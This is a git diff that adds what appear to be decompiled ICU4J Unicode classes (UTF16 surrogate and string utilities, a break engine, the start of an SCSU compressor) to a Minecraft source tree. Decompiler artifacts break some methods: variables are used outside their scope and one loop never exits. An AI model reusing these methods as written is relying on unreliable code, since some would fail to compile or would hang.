+      target[(limit++)] = getLeadSurrogate(char32);
+      target[(limit++)] = getTrailSurrogate(char32);
+    } else {
+      target[(limit++)] = ((char)char32);
+    }
+    return limit;
+  }
+  
+
+
+
+
+
+
+  public static int countCodePoint(String source)
+  {
+    if ((source == null) || (source.length() == 0)) {
+      return 0;
+    }
+    return findCodePointOffset(source, source.length());
+  }
+  
+
+
+
+
+
+
+  public static int countCodePoint(StringBuffer source)
+  {
+    if ((source == null) || (source.length() == 0)) {
+      return 0;
+    }
+    return findCodePointOffset(source, source.length());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int countCodePoint(char[] source, int start, int limit)
+  {
+    if ((source == null) || (source.length == 0)) {
+      return 0;
+    }
+    return findCodePointOffset(source, start, limit, limit - start);
+  }
+  
+
+
+
+
+
+
+
+
+  public static void setCharAt(StringBuffer target, int offset16, int char32)
+  {
+    int count = 1;
+    char single = target.charAt(offset16);
+    
+    if (isSurrogate(single))
+    {
+      if ((isLeadSurrogate(single)) && (target.length() > offset16 + 1) && (isTrailSurrogate(target.charAt(offset16 + 1))))
+      {
+        count++;
+
+
+      }
+      else if ((isTrailSurrogate(single)) && (offset16 > 0) && (isLeadSurrogate(target.charAt(offset16 - 1))))
+      {
+        offset16--;
+        count++;
+      }
+    }
+    
+    target.replace(offset16, offset16 + count, valueOf(char32));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int setCharAt(char[] target, int limit, int offset16, int char32)
+  {
+    if (offset16 >= limit) {
+      throw new ArrayIndexOutOfBoundsException(offset16);
+    }
+    int count = 1;
+    char single = target[offset16];
+    
+    if (isSurrogate(single))
+    {
+      if ((isLeadSurrogate(single)) && (target.length > offset16 + 1) && (isTrailSurrogate(target[(offset16 + 1)])))
+      {
+        count++;
+
+
+      }
+      else if ((isTrailSurrogate(single)) && (offset16 > 0) && (isLeadSurrogate(target[(offset16 - 1)])))
+      {
+        offset16--;
+        count++;
+      }
+    }
+    
+
+    String str = valueOf(char32);
+    int result = limit;
+    int strlength = str.length();
+    target[offset16] = str.charAt(0);
+    if (count == strlength) {
+      if (count == 2) {
+        target[(offset16 + 1)] = str.charAt(1);
+      }
+    }
+    else
+    {
+      System.arraycopy(target, offset16 + count, target, offset16 + strlength, limit - (offset16 + count));
+      
+      if (count < strlength)
+      {
+
+        target[(offset16 + 1)] = str.charAt(1);
+        result++;
+        if (result < target.length) {
+          target[result] = '\000';
+        }
+      }
+      else
+      {
+        result--;
+        target[result] = '\000';
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int moveCodePointOffset(String source, int offset16, int shift32)
+  {
+    int result = offset16;
+    int size = source.length();
+    
+
+    if ((offset16 < 0) || (offset16 > size)) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    if (shift32 > 0) {
+      if (shift32 + offset16 > size) {
+        throw new StringIndexOutOfBoundsException(offset16);
+      }
+      int count = shift32;
+      while ((result < size) && (count > 0)) {
+        char ch = source.charAt(result);
+        if ((isLeadSurrogate(ch)) && (result + 1 < size) && (isTrailSurrogate(source.charAt(result + 1))))
+        {
+          result++;
+        }
+        count--;
+        result++;
+      }
+    }
+    if (offset16 + shift32 < 0) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    for (int count = -shift32; count > 0; count--) {
+      result--;
+      if (result < 0) {
+        break;
+      }
+      char ch = source.charAt(result);
+      if ((isTrailSurrogate(ch)) && (result > 0) && (isLeadSurrogate(source.charAt(result - 1))))
+      {
+        result--;
+      }
+    }
+    
+    if (count != 0) {
+      throw new StringIndexOutOfBoundsException(shift32);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int moveCodePointOffset(StringBuffer source, int offset16, int shift32)
+  {
+    int result = offset16;
+    int size = source.length();
+    
+
+    if ((offset16 < 0) || (offset16 > size)) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    if (shift32 > 0) {
+      if (shift32 + offset16 > size) {
+        throw new StringIndexOutOfBoundsException(offset16);
+      }
+      int count = shift32;
+      while ((result < size) && (count > 0)) {
+        char ch = source.charAt(result);
+        if ((isLeadSurrogate(ch)) && (result + 1 < size) && (isTrailSurrogate(source.charAt(result + 1))))
+        {
+          result++;
+        }
+        count--;
+        result++;
+      }
+    }
+    if (offset16 + shift32 < 0) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    for (int count = -shift32; count > 0; count--) {
+      result--;
+      if (result < 0) {
+        break;
+      }
+      char ch = source.charAt(result);
+      if ((isTrailSurrogate(ch)) && (result > 0) && (isLeadSurrogate(source.charAt(result - 1))))
+      {
+        result--;
+      }
+    }
+    
+    if (count != 0) {
+      throw new StringIndexOutOfBoundsException(shift32);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int moveCodePointOffset(char[] source, int start, int limit, int offset16, int shift32)
+  {
+    int size = source.length;
+    
+
+    int result = offset16 + start;
+    if ((start < 0) || (limit < start)) {
+      throw new StringIndexOutOfBoundsException(start);
+    }
+    if (limit > size) {
+      throw new StringIndexOutOfBoundsException(limit);
+    }
+    if ((offset16 < 0) || (result > limit)) {
+      throw new StringIndexOutOfBoundsException(offset16);
+    }
+    if (shift32 > 0) {
+      if (shift32 + result > size) {
+        throw new StringIndexOutOfBoundsException(result);
+      }
+      int count = shift32;
+      while ((result < limit) && (count > 0)) {
+        char ch = source[result];
+        if ((isLeadSurrogate(ch)) && (result + 1 < limit) && (isTrailSurrogate(source[(result + 1)])))
+        {
+          result++;
+        }
+        count--;
+        result++;
+      }
+    }
+    if (result + shift32 < start) {
+      throw new StringIndexOutOfBoundsException(result);
+    }
+    for (int count = -shift32; count > 0; count--) {
+      result--;
+      if (result < start) {
+        break;
+      }
+      char ch = source[result];
+      if ((isTrailSurrogate(ch)) && (result > start) && (isLeadSurrogate(source[(result - 1)]))) {
+        result--;
+      }
+    }
+    
+    if (count != 0) {
+      throw new StringIndexOutOfBoundsException(shift32);
+    }
+    result -= start;
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer insert(StringBuffer target, int offset16, int char32)
+  {
+    String str = valueOf(char32);
+    if ((offset16 != target.length()) && (bounds(target, offset16) == 5)) {
+      offset16++;
+    }
+    target.insert(offset16, str);
+    return target;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int insert(char[] target, int limit, int offset16, int char32)
+  {
+    String str = valueOf(char32);
+    if ((offset16 != limit) && (bounds(target, 0, limit, offset16) == 5)) {
+      offset16++;
+    }
+    int size = str.length();
+    if (limit + size > target.length) {
+      throw new ArrayIndexOutOfBoundsException(offset16 + size);
+    }
+    System.arraycopy(target, offset16, target, offset16 + size, limit - offset16);
+    target[offset16] = str.charAt(0);
+    if (size == 2) {
+      target[(offset16 + 1)] = str.charAt(1);
+    }
+    return limit + size;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static StringBuffer delete(StringBuffer target, int offset16)
+  {
+    int count = 1;
+    switch (bounds(target, offset16)) {
+    case 2: 
+      count++;
+      break;
+    case 5: 
+      count++;
+      offset16--;
+    }
+    
+    target.delete(offset16, offset16 + count);
+    return target;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int delete(char[] target, int limit, int offset16)
+  {
+    int count = 1;
+    switch (bounds(target, 0, limit, offset16)) {
+    case 2: 
+      count++;
+      break;
+    case 5: 
+      count++;
+      offset16--;
+    }
+    
+    System.arraycopy(target, offset16 + count, target, offset16, limit - (offset16 + count));
+    target[(limit - count)] = '\000';
+    return limit - count;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(String source, int char32)
+  {
+    if ((char32 < 0) || (char32 > 1114111)) {
+      throw new IllegalArgumentException("Argument char32 is not a valid codepoint");
+    }
+    
+    if ((char32 < 55296) || ((char32 > 57343) && (char32 < 65536)))
+    {
+      return source.indexOf((char)char32);
+    }
+    
+    if (char32 < 65536) {
+      int result = source.indexOf((char)char32);
+      if (result >= 0) {
+        if ((isLeadSurrogate((char)char32)) && (result < source.length() - 1) && (isTrailSurrogate(source.charAt(result + 1))))
+        {
+          return indexOf(source, char32, result + 1);
+        }
+        
+        if ((result > 0) && (isLeadSurrogate(source.charAt(result - 1)))) {
+          return indexOf(source, char32, result + 1);
+        }
+      }
+      return result;
+    }
+    
+    String char32str = toString(char32);
+    return source.indexOf(char32str);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(String source, String str)
+  {
+    int strLength = str.length();
+    
+    if ((!isTrailSurrogate(str.charAt(0))) && (!isLeadSurrogate(str.charAt(strLength - 1)))) {
+      return source.indexOf(str);
+    }
+    
+    int result = source.indexOf(str);
+    int resultEnd = result + strLength;
+    if (result >= 0)
+    {
+      if ((isLeadSurrogate(str.charAt(strLength - 1))) && (result < source.length() - 1) && (isTrailSurrogate(source.charAt(resultEnd + 1))))
+      {
+        return indexOf(source, str, resultEnd + 1);
+      }
+      
+      if ((isTrailSurrogate(str.charAt(0))) && (result > 0) && (isLeadSurrogate(source.charAt(result - 1))))
+      {
+        return indexOf(source, str, resultEnd + 1);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(String source, int char32, int fromIndex)
+  {
+    if ((char32 < 0) || (char32 > 1114111)) {
+      throw new IllegalArgumentException("Argument char32 is not a valid codepoint");
+    }
+    
+    if ((char32 < 55296) || ((char32 > 57343) && (char32 < 65536)))
+    {
+      return source.indexOf((char)char32, fromIndex);
+    }
+    
+    if (char32 < 65536) {
+      int result = source.indexOf((char)char32, fromIndex);
+      if (result >= 0) {
+        if ((isLeadSurrogate((char)char32)) && (result < source.length() - 1) && (isTrailSurrogate(source.charAt(result + 1))))
+        {
+          return indexOf(source, char32, result + 1);
+        }
+        
+        if ((result > 0) && (isLeadSurrogate(source.charAt(result - 1)))) {
+          return indexOf(source, char32, result + 1);
+        }
+      }
+      return result;
+    }
+    
+    String char32str = toString(char32);
+    return source.indexOf(char32str, fromIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(String source, String str, int fromIndex)
+  {
+    int strLength = str.length();
+    
+    if ((!isTrailSurrogate(str.charAt(0))) && (!isLeadSurrogate(str.charAt(strLength - 1)))) {
+      return source.indexOf(str, fromIndex);
+    }
+    
+    int result = source.indexOf(str, fromIndex);
+    int resultEnd = result + strLength;
+    if (result >= 0)
+    {
+      if ((isLeadSurrogate(str.charAt(strLength - 1))) && (result < source.length() - 1) && (isTrailSurrogate(source.charAt(resultEnd))))
+      {
+        return indexOf(source, str, resultEnd + 1);
+      }
+      
+      if ((isTrailSurrogate(str.charAt(0))) && (result > 0) && (isLeadSurrogate(source.charAt(result - 1))))
+      {
+        return indexOf(source, str, resultEnd + 1);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(String source, int char32)
+  {
+    if ((char32 < 0) || (char32 > 1114111)) {
+      throw new IllegalArgumentException("Argument char32 is not a valid codepoint");
+    }
+    
+    if ((char32 < 55296) || ((char32 > 57343) && (char32 < 65536)))
+    {
+      return source.lastIndexOf((char)char32);
+    }
+    
+    if (char32 < 65536) {
+      int result = source.lastIndexOf((char)char32);
+      if (result >= 0) {
+        if ((isLeadSurrogate((char)char32)) && (result < source.length() - 1) && (isTrailSurrogate(source.charAt(result + 1))))
+        {
+          return lastIndexOf(source, char32, result - 1);
+        }
+        
+        if ((result > 0) && (isLeadSurrogate(source.charAt(result - 1)))) {
+          return lastIndexOf(source, char32, result - 1);
+        }
+      }
+      return result;
+    }
+    
+    String char32str = toString(char32);
+    return source.lastIndexOf(char32str);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(String source, String str)
+  {
+    int strLength = str.length();
+    
+    if ((!isTrailSurrogate(str.charAt(0))) && (!isLeadSurrogate(str.charAt(strLength - 1)))) {
+      return source.lastIndexOf(str);
+    }
+    
+    int result = source.lastIndexOf(str);
+    if (result >= 0)
+    {
+      if ((isLeadSurrogate(str.charAt(strLength - 1))) && (result < source.length() - 1) && (isTrailSurrogate(source.charAt(result + strLength + 1))))
+      {
+        return lastIndexOf(source, str, result - 1);
+      }
+      
+      if ((isTrailSurrogate(str.charAt(0))) && (result > 0) && (isLeadSurrogate(source.charAt(result - 1))))
+      {
+        return lastIndexOf(source, str, result - 1);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(String source, int char32, int fromIndex)
+  {
+    if ((char32 < 0) || (char32 > 1114111)) {
+      throw new IllegalArgumentException("Argument char32 is not a valid codepoint");
+    }
+    
+    if ((char32 < 55296) || ((char32 > 57343) && (char32 < 65536)))
+    {
+      return source.lastIndexOf((char)char32, fromIndex);
+    }
+    
+    if (char32 < 65536) {
+      int result = source.lastIndexOf((char)char32, fromIndex);
+      if (result >= 0) {
+        if ((isLeadSurrogate((char)char32)) && (result < source.length() - 1) && (isTrailSurrogate(source.charAt(result + 1))))
+        {
+          return lastIndexOf(source, char32, result - 1);
+        }
+        
+        if ((result > 0) && (isLeadSurrogate(source.charAt(result - 1)))) {
+          return lastIndexOf(source, char32, result - 1);
+        }
+      }
+      return result;
+    }
+    
+    String char32str = toString(char32);
+    return source.lastIndexOf(char32str, fromIndex);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int lastIndexOf(String source, String str, int fromIndex)
+  {
+    int strLength = str.length();
+    
+    if ((!isTrailSurrogate(str.charAt(0))) && (!isLeadSurrogate(str.charAt(strLength - 1)))) {
+      return source.lastIndexOf(str, fromIndex);
+    }
+    
+    int result = source.lastIndexOf(str, fromIndex);
+    if (result >= 0)
+    {
+      if ((isLeadSurrogate(str.charAt(strLength - 1))) && (result < source.length() - 1) && (isTrailSurrogate(source.charAt(result + strLength))))
+      {
+        return lastIndexOf(source, str, result - 1);
+      }
+      
+      if ((isTrailSurrogate(str.charAt(0))) && (result > 0) && (isLeadSurrogate(source.charAt(result - 1))))
+      {
+        return lastIndexOf(source, str, result - 1);
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String replace(String source, int oldChar32, int newChar32)
+  {
+    if ((oldChar32 <= 0) || (oldChar32 > 1114111)) {
+      throw new IllegalArgumentException("Argument oldChar32 is not a valid codepoint");
+    }
+    if ((newChar32 <= 0) || (newChar32 > 1114111)) {
+      throw new IllegalArgumentException("Argument newChar32 is not a valid codepoint");
+    }
+    
+    int index = indexOf(source, oldChar32);
+    if (index == -1) {
+      return source;
+    }
+    String newChar32Str = toString(newChar32);
+    int oldChar32Size = 1;
+    int newChar32Size = newChar32Str.length();
+    StringBuffer result = new StringBuffer(source);
+    int resultIndex = index;
+    
+    if (oldChar32 >= 65536) {
+      oldChar32Size = 2;
+    }
+    
+    while (index != -1) {
+      int endResultIndex = resultIndex + oldChar32Size;
+      result.replace(resultIndex, endResultIndex, newChar32Str);
+      int lastEndIndex = index + oldChar32Size;
+      index = indexOf(source, oldChar32, lastEndIndex);
+      resultIndex += newChar32Size + index - lastEndIndex;
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String replace(String source, String oldStr, String newStr)
+  {
+    int index = indexOf(source, oldStr);
+    if (index == -1) {
+      return source;
+    }
+    int oldStrSize = oldStr.length();
+    int newStrSize = newStr.length();
+    StringBuffer result = new StringBuffer(source);
+    int resultIndex = index;
+    
+    while (index != -1) {
+      int endResultIndex = resultIndex + oldStrSize;
+      result.replace(resultIndex, endResultIndex, newStr);
+      int lastEndIndex = index + oldStrSize;
+      index = indexOf(source, oldStr, lastEndIndex);
+      resultIndex += newStrSize + index - lastEndIndex;
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static StringBuffer reverse(StringBuffer source)
+  {
+    int length = source.length();
+    StringBuffer result = new StringBuffer(length);
+    for (int i = length; i-- > 0;) {
+      char ch = source.charAt(i);
+      if ((isTrailSurrogate(ch)) && (i > 0)) {
+        char ch2 = source.charAt(i - 1);
+        if (isLeadSurrogate(ch2)) {
+          result.append(ch2);
+          result.append(ch);
+          i--;
+          continue;
+        }
+      }
+      result.append(ch);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean hasMoreCodePointsThan(String source, int number)
+  {
+    if (number < 0) {
+      return true;
+    }
+    if (source == null) {
+      return false;
+    }
+    int length = source.length();
+    
+
+
+
+    if (length + 1 >> 1 > number) {
+      return true;
+    }
+    
+
+    int maxsupplementary = length - number;
+    if (maxsupplementary <= 0) {
+      return false;
+    }
+    
+
+
+
+
+
+    int start = 0;
+    for (;;) {
+      if (length == 0) {
+        return false;
+      }
+      if (number == 0) {
+        return true;
+      }
+      if ((isLeadSurrogate(source.charAt(start++))) && (start != length) && (isTrailSurrogate(source.charAt(start))))
+      {
+        start++;
+        maxsupplementary--; if (maxsupplementary <= 0)
+        {
+          return false;
+        }
+      }
+      number--;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean hasMoreCodePointsThan(char[] source, int start, int limit, int number)
+  {
+    int length = limit - start;
+    if ((length < 0) || (start < 0) || (limit < 0)) {
+      throw new IndexOutOfBoundsException("Start and limit indexes should be non-negative and start <= limit");
+    }
+    
+    if (number < 0) {
+      return true;
+    }
+    if (source == null) {
+      return false;
+    }
+    
+
+
+
+    if (length + 1 >> 1 > number) {
+      return true;
+    }
+    
+
+    int maxsupplementary = length - number;
+    if (maxsupplementary <= 0) {
+      return false;
+    }
+    
+
+
+
+
+    for (;;)
+    {
+      if (length == 0) {
+        return false;
+      }
+      if (number == 0) {
+        return true;
+      }
+      if ((isLeadSurrogate(source[(start++)])) && (start != limit) && (isTrailSurrogate(source[start])))
+      {
+        start++;
+        maxsupplementary--; if (maxsupplementary <= 0)
+        {
+          return false;
+        }
+      }
+      number--;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean hasMoreCodePointsThan(StringBuffer source, int number)
+  {
+    if (number < 0) {
+      return true;
+    }
+    if (source == null) {
+      return false;
+    }
+    int length = source.length();
+    
+
+
+
+    if (length + 1 >> 1 > number) {
+      return true;
+    }
+    
+
+    int maxsupplementary = length - number;
+    if (maxsupplementary <= 0) {
+      return false;
+    }
+    
+
+
+
+
+
+    int start = 0;
+    for (;;) {
+      if (length == 0) {
+        return false;
+      }
+      if (number == 0) {
+        return true;
+      }
+      if ((isLeadSurrogate(source.charAt(start++))) && (start != length) && (isTrailSurrogate(source.charAt(start))))
+      {
+        start++;
+        maxsupplementary--; if (maxsupplementary <= 0)
+        {
+          return false;
+        }
+      }
+      number--;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String newString(int[] codePoints, int offset, int count)
+  {
+    if (count < 0) {
+      throw new IllegalArgumentException();
+    }
+    char[] chars = new char[count];
+    int w = 0;
+    int r = offset; for (int e = offset + count; r < e; r++) {
+      int cp = codePoints[r];
+      if ((cp < 0) || (cp > 1114111)) {
+        throw new IllegalArgumentException();
+      }
+      for (;;) {
+        try {
+          if (cp < 65536) {
+            chars[w] = ((char)cp);
+            w++;
+          } else {
+            chars[w] = ((char)(55232 + (cp >> 10)));
+            chars[(w + 1)] = ((char)(56320 + (cp & 0x3FF)));
+            w += 2;
+          }
+        }
+        catch (IndexOutOfBoundsException ex) {
+          int newlen = (int)Math.ceil(codePoints.length * (w + 2) / (r - offset + 1));
+          
+          char[] temp = new char[newlen];
+          System.arraycopy(chars, 0, temp, 0, w);
+          chars = temp;
+        }
+      }
+    }
+    return new String(chars, 0, w);
+  }
+  
+
+
+
+  public static final class StringComparator
+    implements Comparator<String>
+  {
+    public static final int FOLD_CASE_DEFAULT = 0;
+    
+
+
+    public static final int FOLD_CASE_EXCLUDE_SPECIAL_I = 1;
+    
+
+
+    private int m_codePointCompare_;
+    
+
+
+    private int m_foldCase_;
+    
+
+
+    private boolean m_ignoreCase_;
+    
+
+    private static final int CODE_POINT_COMPARE_SURROGATE_OFFSET_ = 10240;
+    
+
+
+    public StringComparator()
+    {
+      this(false, false, 0);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public StringComparator(boolean codepointcompare, boolean ignorecase, int foldcaseoption)
+    {
+      setCodePointCompare(codepointcompare);
+      m_ignoreCase_ = ignorecase;
+      if ((foldcaseoption < 0) || (foldcaseoption > 1)) {
+        throw new IllegalArgumentException("Invalid fold case option");
+      }
+      m_foldCase_ = foldcaseoption;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public void setCodePointCompare(boolean flag)
+    {
+      if (flag) {
+        m_codePointCompare_ = 32768;
+      } else {
+        m_codePointCompare_ = 0;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public void setIgnoreCase(boolean ignorecase, int foldcaseoption)
+    {
+      m_ignoreCase_ = ignorecase;
+      if ((foldcaseoption < 0) || (foldcaseoption > 1)) {
+        throw new IllegalArgumentException("Invalid fold case option");
+      }
+      m_foldCase_ = foldcaseoption;
+    }
+    
+
+
+
+
+
+
+
+    public boolean getCodePointCompare()
+    {
+      return m_codePointCompare_ == 32768;
+    }
+    
+
+
+
+
+
+    public boolean getIgnoreCase()
+    {
+      return m_ignoreCase_;
+    }
+    
+
+
+
+
+
+
+
+    public int getIgnoreCaseOption()
+    {
+      return m_foldCase_;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public int compare(String a, String b)
+    {
+      if (a == b) {
+        return 0;
+      }
+      if (a == null) {
+        return -1;
+      }
+      if (b == null) {
+        return 1;
+      }
+      
+      if (m_ignoreCase_) {
+        return compareCaseInsensitive(a, b);
+      }
+      return compareCaseSensitive(a, b);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private int compareCaseInsensitive(String s1, String s2)
+    {
+      return Normalizer.cmpEquivFold(s1, s2, m_foldCase_ | m_codePointCompare_ | 0x10000);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    private int compareCaseSensitive(String s1, String s2)
+    {
+      int length1 = s1.length();
+      int length2 = s2.length();
+      int minlength = length1;
+      int result = 0;
+      if (length1 < length2) {
+        result = -1;
+      } else if (length1 > length2) {
+        result = 1;
+        minlength = length2;
+      }
+      
+      char c1 = '\000';
+      char c2 = '\000';
+      for (int index = 0; 
+          index < minlength; index++) {
+        c1 = s1.charAt(index);
+        c2 = s2.charAt(index);
+        
+        if (c1 != c2) {
+          break;
+        }
+      }
+      
+      if (index == minlength) {
+        return result;
+      }
+      
+      boolean codepointcompare = m_codePointCompare_ == 32768;
+      
+      if ((c1 >= 55296) && (c2 >= 55296) && (codepointcompare))
+      {
+
+
+        if (((c1 > 56319) || (index + 1 == length1) || (!UTF16.isTrailSurrogate(s1.charAt(index + 1)))) && ((!UTF16.isTrailSurrogate(c1)) || (index == 0) || (!UTF16.isLeadSurrogate(s1.charAt(index - 1)))))
+        {
+
+
+
+
+          c1 = (char)(c1 - '⠀');
+        }
+        
+        if (((c2 > 56319) || (index + 1 == length2) || (!UTF16.isTrailSurrogate(s2.charAt(index + 1)))) && ((!UTF16.isTrailSurrogate(c2)) || (index == 0) || (!UTF16.isLeadSurrogate(s2.charAt(index - 1)))))
+        {
+
+
+
+          c2 = (char)(c2 - '⠀');
+        }
+      }
+      
+
+      return c1 - c2;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static String toString(int ch)
+  {
+    if (ch < 65536) {
+      return String.valueOf((char)ch);
+    }
+    
+    StringBuilder result = new StringBuilder();
+    result.append(getLeadSurrogate(ch));
+    result.append(getTrailSurrogate(ch));
+    return result.toString();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/UnhandledBreakEngine.java b/src/minecraft/com/ibm/icu/text/UnhandledBreakEngine.java
new file mode 100644
index 0000000..b0638df
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UnhandledBreakEngine.java
@@ -0,0 +1,45 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.lang.UCharacter;
+import java.text.CharacterIterator;
+import java.util.Stack;
+
+
+
+
+
+
+
+
+
+
+
+final class UnhandledBreakEngine
+  implements LanguageBreakEngine
+{
+  private final UnicodeSet[] fHandled = new UnicodeSet[5];
+  
+  public UnhandledBreakEngine() { for (int i = 0; i < fHandled.length; i++) {
+      fHandled[i] = new UnicodeSet();
+    }
+  }
+  
+  public boolean handles(int c, int breakType) {
+    return (breakType >= 0) && (breakType < fHandled.length) && (fHandled[breakType].contains(c));
+  }
+  
+
+  public int findBreaks(CharacterIterator text, int startPos, int endPos, boolean reverse, int breakType, Stack<Integer> foundBreaks)
+  {
+    text.setIndex(endPos);
+    return 0;
+  }
+  
+  public synchronized void handleChar(int c, int breakType) {
+    if ((breakType >= 0) && (breakType < fHandled.length) && (c != Integer.MAX_VALUE) && 
+      (!fHandled[breakType].contains(c))) {
+      int script = UCharacter.getIntPropertyValue(c, 4106);
+      fHandled[breakType].applyIntPropertyValue(4106, script);
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/UnicodeCompressor.java b/src/minecraft/com/ibm/icu/text/UnicodeCompressor.java
new file mode 100644
index 0000000..72ecb48
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/UnicodeCompressor.java
@@ -0,0 +1,1005 @@
+package com.ibm.icu.text;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnicodeCompressor
+  implements SCSU
+{
+  private static boolean[] sSingleTagTable = { false, true, true, true, true, true, true, true, true, false, false, true, true, false, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean[] sUnicodeTagTable = { false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, false, false, false, false, false, false, false, false, false, false, false, false, false };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int fCurrentWindow = 0;
+  
+
+  private int[] fOffsets = new int[8];
+  
+
+  private int fMode = 0;
+  
+
